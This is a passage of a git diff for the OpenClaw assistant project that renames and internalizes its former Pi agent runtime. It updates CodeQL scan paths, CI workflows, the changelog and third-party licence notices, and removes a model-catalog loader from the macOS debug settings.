src/agents/test-helpers/{pi-tools-sandbox-context.test.ts => agent-tools-sandbox-context.test.ts} (82%) rename src/agents/test-helpers/{pi-tools-sandbox-context.ts => agent-tools-sandbox-context.ts} (90%) rename src/agents/test-helpers/{pi-embedded-runner-e2e-fixtures.ts => embedded-agent-runner-e2e-fixtures.ts} (86%) rename src/agents/test-helpers/{pi-embedded-runner-e2e-mocks.ts => embedded-agent-runner-e2e-mocks.ts} (95%) delete mode 100644 src/agents/test-helpers/provider-alias-cases.ts create mode 100644 src/agents/utils/ansi.ts create mode 100644 src/agents/utils/child-process.ts create mode 100644 src/agents/utils/exif-orientation.ts create mode 100644 src/agents/utils/frontmatter.ts create mode 100644 src/agents/utils/fs-watch.ts create mode 100644 src/agents/utils/git.test.ts create mode 100644 src/agents/utils/git.ts create mode 100644 src/agents/utils/html.ts create mode 100644 src/agents/utils/image-resize.ts create mode 100644 src/agents/utils/mime.ts create mode 100644 src/agents/utils/paths.ts create mode 100644 src/agents/utils/photon.ts create mode 100644 src/agents/utils/shell.ts create mode 100644 src/agents/utils/sleep.ts create mode 100644 src/agents/utils/syntax-highlight.ts create mode 100644 src/agents/utils/tools-manager.ts delete mode 100644 src/auto-reply/reply/runtime-plugins.runtime.ts create mode 100644 src/commands/doctor/shared/legacy-runtime-model-providers.ts create mode 100644 src/commands/models/provider-aliases.ts delete mode 100644 src/commands/status.gateway-connection.runtime.ts create mode 100644 src/config/sessions/transcript-header.ts create mode 100644 src/config/sessions/transcript-jsonl.ts create mode 100644 src/config/sessions/version.ts delete mode 100644 src/cron/isolated-agent/run-runtime-plugins.runtime.ts create mode 100644 src/gateway/server-startup.test.ts create mode 100644 src/llm/api-registry.ts create mode 100644 src/llm/env-api-keys.test.ts create mode 100644 src/llm/env-api-keys.ts create mode 100644 src/llm/model-registry.ts create mode 100644 src/llm/model-utils.ts create mode 100644 src/llm/oauth.ts create mode 100644 src/llm/providers/anthropic.test.ts create mode 100644 src/llm/providers/anthropic.ts create mode 100644 src/llm/providers/azure-openai-responses.ts create mode 100644 src/llm/providers/cloudflare.ts create mode 100644 src/llm/providers/github-copilot-headers.ts rename extensions/google/google-shared.test.ts => src/llm/providers/google-shared.convert.test.ts (98%) rename {extensions/google => src/llm/providers}/google-shared.test-helpers.ts (98%) create mode 100644 src/llm/providers/google-shared.test.ts create mode 100644 src/llm/providers/google-shared.ts create mode 100644 src/llm/providers/google-vertex.ts create mode 100644 src/llm/providers/google.ts create mode 100644 src/llm/providers/mistral.ts create mode 100644 src/llm/providers/openai-codex-responses.test.ts create mode 100644 src/llm/providers/openai-codex-responses.ts create mode 100644 src/llm/providers/openai-compatible-auth.test.ts create mode 100644 src/llm/providers/openai-completions.ts create mode 100644 src/llm/providers/openai-prompt-cache.ts create mode 100644 src/llm/providers/openai-responses-shared.test.ts create mode 100644 src/llm/providers/openai-responses-shared.ts create mode 100644 src/llm/providers/openai-responses-tools.ts create mode 100644 src/llm/providers/openai-responses.ts create mode 100644 src/llm/providers/register-builtins.ts create mode 100644 src/llm/providers/simple-options.ts rename src/{agents/pi-embedded-runner => llm/providers/stream-wrappers}/anthropic-cache-control-payload.test.ts (100%) create mode 100644 src/llm/providers/stream-wrappers/anthropic-cache-control-payload.ts rename src/{agents/pi-embedded-runner => llm/providers/stream-wrappers}/anthropic-family-cache-semantics.ts (98%) rename src/{agents/pi-embedded-runner => llm/providers/stream-wrappers}/anthropic-family-tool-payload-compat.ts (96%) rename src/{agents/pi-embedded-runner/google-stream-wrappers.test.ts => llm/providers/stream-wrappers/google.test.ts} (98%) rename src/{agents/pi-embedded-runner/google-stream-wrappers.ts => llm/providers/stream-wrappers/google.ts} (58%) rename src/{agents/pi-embedded-runner/minimax-stream-wrappers.test.ts => llm/providers/stream-wrappers/minimax.test.ts} (86%) rename src/{agents/pi-embedded-runner/minimax-stream-wrappers.ts => llm/providers/stream-wrappers/minimax.ts} (90%) rename src/{agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.ts => llm/providers/stream-wrappers/moonshot-thinking.ts} (91%) rename src/{agents/pi-embedded-runner/moonshot-stream-wrappers.ts => llm/providers/stream-wrappers/moonshot.ts} (78%) rename src/{agents/pi-embedded-runner/openai-stream-wrappers.test.ts => llm/providers/stream-wrappers/openai.test.ts} (94%) rename src/{agents/pi-embedded-runner/openai-stream-wrappers.ts => llm/providers/stream-wrappers/openai.ts} (94%) rename src/{agents/pi-embedded-runner/proxy-stream-wrappers.test.ts => llm/providers/stream-wrappers/proxy.test.ts} (89%) rename src/{agents/pi-embedded-runner/proxy-stream-wrappers.ts => llm/providers/stream-wrappers/proxy.ts} (94%) rename src/{agents/pi-embedded-runner => llm/providers/stream-wrappers}/reasoning-effort-utils.test.ts (100%) rename src/{agents/pi-embedded-runner => llm/providers/stream-wrappers}/reasoning-effort-utils.ts (85%) rename src/{agents/pi-embedded-runner => llm/providers/stream-wrappers}/stream-payload-utils.ts (89%) rename src/{agents/pi-embedded-runner/zai-stream-wrappers.ts => llm/providers/stream-wrappers/zai.ts} (88%) create mode 100644 src/llm/providers/transform-messages.ts create mode 100644 src/llm/session-resources.ts create mode 100644 src/llm/stream.ts create mode 100644 src/llm/types.ts create mode 100644 src/llm/utils/diagnostics.ts create mode 100644 src/llm/utils/event-stream.ts create mode 100644 src/llm/utils/hash.ts create mode 100644 src/llm/utils/headers.ts create mode 100644 src/llm/utils/json-parse.ts create mode 100644 src/llm/utils/node-http-proxy.ts create mode 100644 src/llm/utils/oauth/anthropic.test.ts create mode 100644 src/llm/utils/oauth/anthropic.ts create mode 100644 src/llm/utils/oauth/github-copilot.test.ts create mode 100644 src/llm/utils/oauth/github-copilot.ts create mode 100644 src/llm/utils/oauth/index.ts create mode 100644 src/llm/utils/oauth/oauth-page.ts create mode 100644 src/llm/utils/oauth/openai-codex-jwt.ts create mode 100644 src/llm/utils/oauth/openai-codex.test.ts create mode 100644 src/llm/utils/oauth/openai-codex.ts create mode 100644 src/llm/utils/oauth/pkce.test.ts create mode 100644 src/llm/utils/oauth/pkce.ts create mode 100644 src/llm/utils/oauth/types.ts create mode 100644 src/llm/utils/overflow.ts create mode 100644 src/llm/utils/sanitize-unicode.ts create mode 100644 src/media-generation/capability-model-ref.ts create mode 100644 src/plugin-sdk/agent-core.test.ts create mode 100644 src/plugin-sdk/agent-core.ts create mode 100644 src/plugin-sdk/agent-dir-compat.test.ts create mode 100644 src/plugin-sdk/agent-sessions.ts create mode 100644 src/plugin-sdk/json-unsafe-integers.ts create mode 100644 src/plugin-sdk/llm.ts create mode 100644 src/plugins/agent-prompt-surface-kind.ts create mode 100644 src/plugins/bundled-compat.test.ts delete mode 100644 src/plugins/pi-package-graph.test.ts create mode 100644 src/plugins/runtime-plugins.runtime.ts create mode 100644 src/plugins/runtime/runtime-embedded-agent.runtime.ts delete mode 100644 src/plugins/runtime/runtime-embedded-pi.runtime.ts create mode 100644 src/shared/schema-keyword-strip.ts rename src/types/{pi-agent-core.d.ts => agent-core.d.ts} (79%) create mode 100644 src/types/agent-sessions.d.ts create mode 100644 src/types/highlight-js-lib-index.d.ts delete mode 100644 src/types/pi-coding-agent.d.ts rename test/helpers/agents/{pi-ai-stream-simple-mock.ts => llm-stream-simple-mock.ts} (73%) delete mode 100644 test/scripts/control-ui-i18n.test.ts create mode 100644 test/vitest/vitest.agents-embedded-agent.config.ts delete mode 100644 test/vitest/vitest.agents-pi-embedded.config.ts diff --git a/.github/codeql/codeql-agent-runtime-boundary-critical-quality.yml b/.github/codeql/codeql-agent-runtime-boundary-critical-quality.yml index 8c355f524fc..1f8aeb2b754 100644 --- a/.github/codeql/codeql-agent-runtime-boundary-critical-quality.yml +++ b/.github/codeql/codeql-agent-runtime-boundary-critical-quality.yml @@ -17,7 +17,8 @@ paths: - src/acp/control-plane - src/agents/command - src/agents/cli-runner - - src/agents/pi-embedded-runner + - src/agents/embedded-agent-runner + - src/agents/sessions - src/agents/tools - src/agents/*completion*.ts - src/agents/*transport*.ts diff --git a/.github/codeql/codeql-core-auth-secrets-critical-quality.yml b/.github/codeql/codeql-core-auth-secrets-critical-quality.yml index 90bf66d2db1..9aeeb51607a 100644 --- a/.github/codeql/codeql-core-auth-secrets-critical-quality.yml +++ b/.github/codeql/codeql-core-auth-secrets-critical-quality.yml @@ -22,6 +22,8 @@ paths: - src/agents/sandbox - src/agents/sandbox.ts - src/agents/sandbox-*.ts + - src/agents/sessions/*auth*.ts + - src/agents/sessions/**/*auth*.ts - src/cron/service/jobs.ts - src/cron/stagger.ts - src/gateway/*auth*.ts diff --git a/.github/codeql/codeql-mcp-process-tool-boundary-critical-security.yml b/.github/codeql/codeql-mcp-process-tool-boundary-critical-security.yml index 1a03f820290..0c536000df0 100644 --- a/.github/codeql/codeql-mcp-process-tool-boundary-critical-security.yml +++ b/.github/codeql/codeql-mcp-process-tool-boundary-critical-security.yml @@ -24,14 +24,15 @@ paths: - src/agents/openclaw-plugin-tools.ts - src/agents/openclaw-tools.runtime.ts - src/agents/openclaw-tools.registration.ts - - src/agents/pi-tool-definition-adapter.ts - - src/agents/pi-tools.abort.ts - - src/agents/pi-tools.before-tool-call*.ts - - src/agents/pi-tools.host-edit.ts - - src/agents/pi-tools-parameter-schema.ts - - src/agents/pi-embedded-runner/effective-tool-policy.ts - - src/agents/pi-embedded-runner/tool-name-allowlist.ts - - src/agents/pi-embedded-runner/tool-schema-runtime.ts + - src/agents/agent-tool-definition-adapter.ts + - src/agents/agent-tools.abort.ts + - src/agents/agent-tools.before-tool-call*.ts + - src/agents/agent-tools.read.ts + - src/agents/agent-tools-parameter-schema.ts + - src/agents/sessions/tools/** + - src/agents/embedded-agent-runner/effective-tool-policy.ts + - src/agents/embedded-agent-runner/tool-name-allowlist.ts + - src/agents/embedded-agent-runner/tool-schema-runtime.ts - src/agents/tools/gateway-tool.ts - src/agents/tools/message-tool.ts - src/agents/tools/sessions-send-tool.ts diff --git a/.github/workflows/codeql-critical-quality.yml b/.github/workflows/codeql-critical-quality.yml index f7138158250..ffb769e8fdf 100644 --- a/.github/workflows/codeql-critical-quality.yml +++ b/.github/workflows/codeql-critical-quality.yml @@ -71,7 +71,9 @@ on: - "src/acp/control-plane/**" - "src/agents/cli-runner/**" - "src/agents/command/**" - - "src/agents/pi-embedded-runner/**" + - "src/agents/embedded-agent-runner/**" + - "src/agents/sessions/**" + - "src/agents/sessions/tools/**" - "src/agents/tools/**" - "src/agents/*completion*.ts" - "src/agents/*transport*.ts" @@ -222,7 +224,15 @@ jobs: network_runtime=true session_diagnostics=true ;; - src/acp/control-plane/*|src/agents/cli-runner/*|src/agents/command/*|src/agents/pi-embedded-runner/*|src/agents/tools/*|src/agents/*completion*.ts|src/agents/*transport*.ts|src/agents/model-*.ts|src/agents/openclaw-tools*.ts|src/agents/provider-*.ts|src/agents/session*.ts|src/agents/tool-call*.ts|src/auto-reply/reply/agent-runner*.ts|src/auto-reply/reply/commands*.ts|src/auto-reply/reply/directive-handling*.ts|src/auto-reply/reply/dispatch-*.ts|src/auto-reply/reply/get-reply-run*.ts|src/auto-reply/reply/provider-dispatcher*.ts|src/auto-reply/reply/queue*.ts|src/auto-reply/reply/reply-run-registry*.ts|src/auto-reply/reply/session*.ts) + src/agents/sessions/tools/*) + agent=true + mcp_process=true + ;; + src/agents/sessions/*auth*.ts|src/agents/sessions/**/*auth*.ts) + agent=true + core_auth_secrets=true + ;; + src/acp/control-plane/*|src/agents/cli-runner/*|src/agents/command/*|src/agents/embedded-agent-runner/*|src/agents/sessions/*|src/agents/tools/*|src/agents/*completion*.ts|src/agents/*transport*.ts|src/agents/model-*.ts|src/agents/openclaw-tools*.ts|src/agents/provider-*.ts|src/agents/session*.ts|src/agents/tool-call*.ts|src/auto-reply/reply/agent-runner*.ts|src/auto-reply/reply/commands*.ts|src/auto-reply/reply/directive-handling*.ts|src/auto-reply/reply/dispatch-*.ts|src/auto-reply/reply/get-reply-run*.ts|src/auto-reply/reply/provider-dispatcher*.ts|src/auto-reply/reply/queue*.ts|src/auto-reply/reply/reply-run-registry*.ts|src/auto-reply/reply/session*.ts) agent=true ;; src/auto-reply/reply/post-compaction-context.ts|src/auto-reply/reply/queue/*|src/auto-reply/reply/startup-context.ts|src/commands/doctor-session-*.ts|src/commands/session-store-targets.ts|src/commands/sessions*.ts|src/infra/diagnostic-*.ts|src/infra/diagnostics-timeline.ts|src/infra/session-delivery-queue*.ts|src/logging/diagnostic*.ts) diff --git a/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml b/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml index e9bf2854cbf..c7fe7a56256 100644 --- a/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml +++ b/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml @@ -1857,7 +1857,6 @@ jobs: normalize_provider() { local value="${1,,}" case "$value" in - z.ai|z-ai) echo "zai" ;; opencode|opencode-go) echo "opencode-go" ;; open-router|openrouter) echo "openrouter" ;; *) echo "$value" ;; @@ -1987,7 +1986,7 @@ jobs: - suite_id: native-live-src-gateway-profiles-anthropic-opus suite_group: native-live-src-gateway-profiles-anthropic label: Native live gateway profiles Anthropic Opus - command: OPENCLAW_LIVE_GATEWAY_PROVIDERS=anthropic OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-opus-4-7 node .release-harness/scripts/test-live-shard.mjs native-live-src-gateway-profiles + command: OPENCLAW_LIVE_GATEWAY_THINKING=low OPENCLAW_LIVE_GATEWAY_PROVIDERS=anthropic OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-opus-4-7 node .release-harness/scripts/test-live-shard.mjs native-live-src-gateway-profiles timeout_minutes: 30 profile_env_only: false advisory: true @@ -1995,7 +1994,7 @@ jobs: - suite_id: native-live-src-gateway-profiles-anthropic-sonnet-haiku suite_group: native-live-src-gateway-profiles-anthropic label: Native live gateway profiles Anthropic Sonnet/Haiku - command: OPENCLAW_LIVE_GATEWAY_PROVIDERS=anthropic OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-sonnet-4-6,anthropic/claude-haiku-4-5 node .release-harness/scripts/test-live-shard.mjs native-live-src-gateway-profiles + command: OPENCLAW_LIVE_GATEWAY_THINKING=low OPENCLAW_LIVE_GATEWAY_PROVIDERS=anthropic OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-sonnet-4-6,anthropic/claude-haiku-4-5 node .release-harness/scripts/test-live-shard.mjs native-live-src-gateway-profiles timeout_minutes: 30 profile_env_only: false advisory: true @@ -2295,7 +2294,7 @@ jobs: profiles: beta minimum stable full - suite_id: live-gateway-anthropic-docker label: Docker live gateway Anthropic - command: OPENCLAW_LIVE_GATEWAY_PROVIDERS=anthropic OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-sonnet-4-6 OPENCLAW_LIVE_GATEWAY_MAX_MODELS=1 OPENCLAW_LIVE_GATEWAY_STEP_TIMEOUT_MS=90000 OPENCLAW_LIVE_GATEWAY_MODEL_TIMEOUT_MS=180000 OPENCLAW_LIVE_DOCKER_REPO_ROOT="$GITHUB_WORKSPACE" timeout --foreground --kill-after=30s 35m bash .release-harness/scripts/test-live-gateway-models-docker.sh + command: OPENCLAW_LIVE_GATEWAY_THINKING=low OPENCLAW_LIVE_GATEWAY_PROVIDERS=anthropic OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-sonnet-4-6,anthropic/claude-haiku-4-5 OPENCLAW_LIVE_GATEWAY_MAX_MODELS=2 OPENCLAW_LIVE_GATEWAY_STEP_TIMEOUT_MS=90000 OPENCLAW_LIVE_GATEWAY_MODEL_TIMEOUT_MS=600000 OPENCLAW_LIVE_DOCKER_REPO_ROOT="$GITHUB_WORKSPACE" timeout --foreground --kill-after=30s 35m bash .release-harness/scripts/test-live-gateway-models-docker.sh timeout_minutes: 40 profile_env_only: false profiles: stable full diff --git a/.github/workflows/openclaw-release-checks.yml b/.github/workflows/openclaw-release-checks.yml index f1ebbc48ce2..8efdf56fed8 100644 --- a/.github/workflows/openclaw-release-checks.yml +++ b/.github/workflows/openclaw-release-checks.yml @@ -946,7 +946,7 @@ jobs: --concurrency "${QA_PARITY_CONCURRENCY}" \ --model "${OPENCLAW_CI_OPENAI_MODEL}" \ --alt-model "openai/gpt-5.5-alt" \ - --runtime-pair pi,codex \ + --runtime-pair openclaw,codex \ --output-dir ".artifacts/qa-e2e/runtime-parity" - name: Run standard runtime parity tier @@ -959,7 +959,7 @@ jobs: --concurrency "${QA_PARITY_CONCURRENCY}" \ --model "${OPENCLAW_CI_OPENAI_MODEL}" \ --alt-model "openai/gpt-5.5-alt" \ - --runtime-pair pi,codex \ + --runtime-pair openclaw,codex \ --output-dir ".artifacts/qa-e2e/runtime-parity-standard" - name: Run soak runtime parity tier @@ -973,7 +973,7 @@ jobs: --concurrency "${QA_PARITY_CONCURRENCY}" \ --model "${OPENCLAW_CI_OPENAI_MODEL}" \ --alt-model "openai/gpt-5.5-alt" \ - --runtime-pair pi,codex \ + --runtime-pair openclaw,codex \ --output-dir ".artifacts/qa-e2e/runtime-parity-soak" - name: Generate runtime parity report diff --git a/.github/workflows/qa-live-transports-convex.yml b/.github/workflows/qa-live-transports-convex.yml index d19bf4b5a0f..f70cfd2f39d 100644 --- a/.github/workflows/qa-live-transports-convex.yml +++ b/.github/workflows/qa-live-transports-convex.yml @@ -289,7 +289,7 @@ jobs: --concurrency "${QA_PARITY_CONCURRENCY}" \ --model "${OPENCLAW_CI_OPENAI_MODEL}" \ --alt-model "${OPENCLAW_CI_OPENAI_MODEL}" \ - --runtime-pair pi,codex \ + --runtime-pair openclaw,codex \ --fast \ --allow-failures \ --output-dir "${output_dir}/runtime-suite" diff --git a/CHANGELOG.md b/CHANGELOG.md index 6790376ef98..58ef1888adb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -261,6 +261,7 @@ Docs: https://docs.openclaw.ai - Maintainer skills: add `openclaw-landable-bug-sweep` for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps. - Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (#85237) Thanks @amknight. - CLI/onboarding: start classic onboarding when bare `openclaw` runs before an authored config exists, while keeping configured installs on Crestodian. (#72343) Thanks @fuller-stack-dev. +- Agents/runtime: internalize the former Pi agent runtime into OpenClaw, remove legacy package dependencies, and keep Pi-named SDK aliases only as deprecated plugin compatibility. - Discord: allow configuring a bounded `agentComponents.ttlMs` callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (#84189) Thanks @100menotu001. - xAI/Grok: reuse xAI OAuth auth profiles for Grok `web_search`, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (#85182) Thanks @fuller-stack-dev. - Plugin SDK: add row-level session workflow helpers and deprecate `loadSessionStore` so plugins can read and patch sessions without depending on the legacy whole-store shape. (#84693) Thanks @efpiva. diff --git a/LICENSE b/LICENSE index ed064819ab5..ebaebf7c416 100644 --- a/LICENSE +++ b/LICENSE @@ -19,3 +19,6 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Third-party notices for incorporated or adapted code are recorded in +THIRD_PARTY_NOTICES.md. diff --git a/README.md b/README.md index 1a2ca1609e5..9de37c85cbd 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ If you want a personal, single-user assistant that feels local, fast, and always Supported channels include: WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, IRC, Microsoft Teams, Matrix, Feishu, LINE, Mattermost, Nextcloud Talk, Nostr, Synology Chat, Tlon, Twitch, Zalo, Zalo Personal, WeChat, QQ, WebChat. -[Website](https://openclaw.ai) · [Docs](https://docs.openclaw.ai) · [Vision](VISION.md) · [DeepWiki](https://deepwiki.com/openclaw/openclaw) · [Getting Started](https://docs.openclaw.ai/start/getting-started) · [Updating](https://docs.openclaw.ai/install/updating) · [Showcase](https://docs.openclaw.ai/start/showcase) · [FAQ](https://docs.openclaw.ai/help/faq) · [Onboarding](https://docs.openclaw.ai/start/wizard) · [Nix](https://github.com/openclaw/nix-openclaw) · [Docker](https://docs.openclaw.ai/install/docker) · [Discord](https://discord.gg/clawd) +[Website](https://openclaw.ai) · [Docs](https://docs.openclaw.ai) · [Vision](VISION.md) · [Third-party notices](THIRD_PARTY_NOTICES.md) · [DeepWiki](https://deepwiki.com/openclaw/openclaw) · [Getting Started](https://docs.openclaw.ai/start/getting-started) · [Updating](https://docs.openclaw.ai/install/updating) · [Showcase](https://docs.openclaw.ai/start/showcase) · [FAQ](https://docs.openclaw.ai/help/faq) · [Onboarding](https://docs.openclaw.ai/start/wizard) · [Nix](https://github.com/openclaw/nix-openclaw) · [Docker](https://docs.openclaw.ai/install/docker) · [Discord](https://discord.gg/clawd) New install? Start here: [Getting started](https://docs.openclaw.ai/start/getting-started) @@ -306,7 +306,7 @@ See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines, maintainers, and how to s AI/vibe-coded PRs welcome! 🤖 Special thanks to [Mario Zechner](https://mariozechner.at/) for his support and for -[pi-mono](https://github.com/badlogic/pi-mono). +[pi-mono](https://github.com/earendil-works/pi-mono). Special thanks to Adam Doppelt for the lobster.bot domain. Thanks to all clawtributors: diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md new file mode 100644 index 00000000000..6b6721901b7 --- /dev/null +++ b/THIRD_PARTY_NOTICES.md @@ -0,0 +1,37 @@ +# Third-party notices + +This file records third-party notices for code or substantial implementation +portions incorporated into OpenClaw source, beyond normal package-manager +dependency metadata. + +## Pi / pi-mono + +Portions of OpenClaw were adapted from Pi / pi-mono, and OpenClaw also depends +on `@earendil-works/pi-tui` for terminal UI rendering. + +- Upstream: https://github.com/earendil-works/pi-mono +- Package family: `@earendil-works/pi-*` +- License: MIT +- Copyright: Copyright (c) 2025 Mario Zechner + +MIT License + +Copyright (c) 2025 Mario Zechner + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/apps/macos/Sources/OpenClaw/Constants.swift b/apps/macos/Sources/OpenClaw/Constants.swift index 49e0992d1bd..345c225bac4 100644 --- a/apps/macos/Sources/OpenClaw/Constants.swift +++ b/apps/macos/Sources/OpenClaw/Constants.swift @@ -41,8 +41,6 @@ let locationModeKey = "openclaw.locationMode" let locationPreciseKey = "openclaw.locationPreciseEnabled" let peekabooBridgeEnabledKey = "openclaw.peekabooBridgeEnabled" let deepLinkKeyKey = "openclaw.deepLinkKey" -let modelCatalogPathKey = "openclaw.modelCatalogPath" -let modelCatalogReloadKey = "openclaw.modelCatalogReload" let cliInstallPromptedVersionKey = "openclaw.cliInstallPromptedVersion" let heartbeatsEnabledKey = "openclaw.heartbeatsEnabled" let debugPaneEnabledKey = "openclaw.debugPaneEnabled" diff --git a/apps/macos/Sources/OpenClaw/DebugSettings.swift b/apps/macos/Sources/OpenClaw/DebugSettings.swift index f2252c01de7..35c8b1c725b 100644 --- a/apps/macos/Sources/OpenClaw/DebugSettings.swift +++ b/apps/macos/Sources/OpenClaw/DebugSettings.swift @@ -1,19 +1,13 @@ import AppKit import Observation import SwiftUI -import UniformTypeIdentifiers struct DebugSettings: View { @Bindable var state: AppState private let isPreview = ProcessInfo.processInfo.isPreview private let labelColumnWidth: CGFloat = 140 - @AppStorage(modelCatalogPathKey) private var modelCatalogPath: String = ModelCatalogLoader.defaultPath - @AppStorage(modelCatalogReloadKey) private var modelCatalogReloadBump: Int = 0 @AppStorage(iconOverrideKey) private var iconOverrideRaw: String = IconOverrideSelection.system.rawValue @AppStorage(canvasEnabledKey) private var canvasEnabled: Bool = true - @State private var modelsCount: Int? - @State private var modelsLoading = false - @State private var modelsError: String? private let gatewayManager = GatewayProcessManager.shared private let healthStore = HealthStore.shared @State private var launchAgentWriteDisabled = GatewayLaunchAgentManager.isLaunchAgentWriteDisabled() @@ -67,7 +61,6 @@ struct DebugSettings: View { } .task { guard !self.isPreview else { return } - await self.reloadModels() self.loadSessionStorePath() } .alert(item: self.$pendingKill) { listener in @@ -449,45 +442,6 @@ struct DebugSettings: View { } } } - GridRow { - self.gridLabel("Model catalog") - VStack(alignment: .leading, spacing: 6) { - Text(self.modelCatalogPath) - .font(.caption.monospaced()) - .foregroundStyle(.secondary) - .lineLimit(2) - HStack(spacing: 8) { - Button { - self.chooseCatalogFile() - } label: { - Label("Choose models.generated.ts…", systemImage: "folder") - } - .buttonStyle(.bordered) - - Button { - Task { await self.reloadModels() } - } label: { - Label( - self.modelsLoading ? "Reloading…" : "Reload models", - systemImage: "arrow.clockwise") - } - .buttonStyle(.bordered) - .disabled(self.modelsLoading) - } - if let modelsError { - Text(modelsError) - .font(.footnote) - .foregroundStyle(.secondary) - } else if let modelsCount { - Text("Loaded \(modelsCount) models") - .font(.footnote) - .foregroundStyle(.secondary) - } - Text("Local fallback for model picker when gateway models.list is unavailable.") - .font(.footnote) - .foregroundStyle(.tertiary) - } - } } } } @@ -725,37 +679,6 @@ struct DebugSettings: View { } } - private func chooseCatalogFile() { - let panel = NSOpenPanel() - panel.title = "Select models.generated.ts" - let tsType = UTType(filenameExtension: "ts") - ?? UTType(tag: "ts", tagClass: .filenameExtension, conformingTo: .sourceCode) - ?? .item - panel.allowedContentTypes = [tsType] - panel.allowsMultipleSelection = false - panel.directoryURL = URL(fileURLWithPath: self.modelCatalogPath).deletingLastPathComponent() - if panel.runModal() == .OK, let url = panel.url { - self.modelCatalogPath = url.path - self.modelCatalogReloadBump += 1 - Task { await self.reloadModels() } - } - } - - private func reloadModels() async { - guard !self.modelsLoading else { return } - self.modelsLoading = true - self.modelsError = nil - self.modelCatalogReloadBump += 1 - defer { self.modelsLoading = false } - do { - let loaded = try await ModelCatalogLoader.load(from: self.modelCatalogPath) - self.modelsCount = loaded.count - } catch { - self.modelsCount = nil - self.modelsError = error.localizedDescription - } - } - private func sendVoiceDebug() async { await MainActor.run { self.debugSendInFlight = true @@ -1047,9 +970,6 @@ struct DebugSettings_Previews: PreviewProvider { extension DebugSettings { static func exerciseForTesting() async { let view = DebugSettings(state: .preview) - view.modelsCount = 3 - view.modelsLoading = false - view.modelsError = "Failed to load models" view.gatewayRootInput = "/tmp/openclaw" view.sessionStorePath = "/tmp/sessions.json" view.sessionStoreSaveError = "Save failed" @@ -1092,7 +1012,6 @@ extension DebugSettings { _ = view.gridLabel("Test") view.loadSessionStorePath() - await view.reloadModels() } } #endif diff --git a/apps/macos/Sources/OpenClaw/ModelCatalogLoader.swift b/apps/macos/Sources/OpenClaw/ModelCatalogLoader.swift deleted file mode 100644 index b1fd70fd171..00000000000 --- a/apps/macos/Sources/OpenClaw/ModelCatalogLoader.swift +++ /dev/null @@ -1,587 +0,0 @@ -import Foundation - -enum ModelCatalogLoader { - static var defaultPath: String { - self.resolveDefaultPath() - } - - private static let maxCatalogBytes: UInt64 = 2 * 1024 * 1024 - private static let logger = Logger(subsystem: "ai.openclaw", category: "models") - private nonisolated static let appSupportDir: URL = { - let base = FileManager().urls(for: .applicationSupportDirectory, in: .userDomainMask).first! - return base.appendingPathComponent("OpenClaw", isDirectory: true) - }() - - private static var cachePath: URL { - self.appSupportDir.appendingPathComponent("model-catalog/models.generated.js", isDirectory: false) - } - - static func load(from path: String) async throws -> [ModelChoice] { - let expanded = (path as NSString).expandingTildeInPath - guard let resolved = self.resolvePath(preferred: expanded) else { - self.logger.error("model catalog load failed: file not found") - throw NSError( - domain: "ModelCatalogLoader", - code: 1, - userInfo: [NSLocalizedDescriptionKey: "Model catalog file not found"]) - } - self.logger.debug("model catalog load start file=\(URL(fileURLWithPath: resolved.path).lastPathComponent)") - let source = try self.readCatalogSource(path: resolved.path) - let rawModels = try self.parseModels(source: source) - - var choices: [ModelChoice] = [] - for (provider, value) in rawModels { - guard let models = value as? [String: Any] else { continue } - for (id, payload) in models { - guard let dict = payload as? [String: Any] else { continue } - let name = dict["name"] as? String ?? id - let ctxWindow = dict["contextWindow"] as? Int - choices.append(ModelChoice(id: id, name: name, provider: provider, contextWindow: ctxWindow)) - } - } - - let sorted = choices.sorted { lhs, rhs in - if lhs.provider == rhs.provider { - return lhs.name.localizedCaseInsensitiveCompare(rhs.name) == .orderedAscending - } - return lhs.provider.localizedCaseInsensitiveCompare(rhs.provider) == .orderedAscending - } - self.logger.debug("model catalog loaded providers=\(rawModels.count) models=\(sorted.count)") - if resolved.shouldCache { - self.cacheCatalog(sourcePath: resolved.path) - } - return sorted - } - - private static func resolveDefaultPath() -> String { - let cache = self.cachePath.path - if FileManager().isReadableFile(atPath: cache) { return 